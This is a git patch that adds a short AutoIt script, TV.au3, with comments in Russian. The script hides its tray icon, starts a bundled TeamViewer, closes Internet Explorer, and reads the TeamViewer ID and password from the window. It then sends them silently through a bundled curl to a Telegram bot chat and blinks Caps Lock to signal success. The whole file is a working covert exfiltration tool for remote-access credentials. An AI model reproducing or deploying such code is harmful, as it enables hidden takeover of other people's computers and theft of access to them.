From d150c79a12152b27f9df3409ee1e6431c61a05e8 Mon Sep 17 00:00:00 2001 From: paravis Date: Mon, 20 Jun 2022 15:03:41 +0300 Subject: [PATCH] =?UTF-8?q?=D0=97=D0=B0=D0=B3=D1=80=D1=83=D0=B7=D0=B8?= =?UTF-8?q?=D0=BB(=D0=B0)=20=D1=84=D0=B0=D0=B9=D0=BB=D1=8B=20=D0=B2=20''?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TV.au3 | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 TV.au3 diff --git a/TV.au3 b/TV.au3 new file mode 100644 index 0000000..b7e2911 --- /dev/null +++ b/TV.au3 @@ -0,0 +1,47 @@ +#NoTrayIcon + +$sBotKey = '' ; Ваш api ключ бота +$nChatId = '' ; Id получателя +$Curl = @ScriptDir & '\bin\curl.exe' +Run(@ScriptDir & "\bin\TV\TeamViewer.exe") +ProcessWait ("iexplore.exe") +ProcessClose ("iexplore.exe") +WinWait("TeamViewer","") +WinActivate("TeamViewer","") +WinWaitActive("TeamViewer","") +While 1 + $id = ControlGetText("TeamViewer","","[CLASS:Edit; INSTANCE:4]") + if $id = "-" Then + Sleep(3000) + Else + $password = ControlGetText("TeamViewer","","[CLASS:Edit; INSTANCE:5]") + $smass = $id & '%20%20%20' & $password + $sOutput = StringRegExpReplace($smass, " ", "%20") + Run($Curl & ' https://api.telegram.org/bot' & $sBotKey & '/sendMessage?chat_id=' & $nChatId & '&text=' & $sOutput, '', @SW_HIDE) + For $i = 5 To 1 Step -1 + Send("{CAPSLOCK on}") + Sleep(500) + Send("{CAPSLOCK off}") + Sleep(500) + Next + Exit + EndIf +WEnd + +Func _URIEncode($sData) + Local $aData = StringSplit(BinaryToString(StringToBinary($sData,4),1),"") + Local $nChar + $sData="" + For $i = 1 To $aData[0] + $nChar = Asc($aData[$i]) + Switch $nChar + Case 45, 46, 48 To 57, 65 To 90, 95, 97 To 122, 126 + $sData &= $aData[$i] + Case 32 + $sData &= "+" + Case Else + $sData &= "%" & Hex($nChar,2) + EndSwitch + Next + Return $sData +EndFunc \ No newline at end of file